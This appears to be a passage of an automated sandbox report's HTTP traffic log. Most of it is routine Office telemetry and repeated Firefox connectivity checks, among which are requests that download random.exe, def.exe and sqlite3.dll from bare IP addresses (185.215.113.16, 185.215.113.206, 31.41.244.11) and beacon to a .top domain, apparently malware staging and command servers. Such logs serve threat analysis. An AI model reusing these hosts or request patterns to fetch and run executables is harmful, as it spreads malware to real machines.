Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 18 Nov 2024 19:17:34 GMTIf-None-Match: "673b92ce-1cbc00"
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 18 Nov 2024 19:17:41 GMTIf-None-Match: "673b92d5-1c0000"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
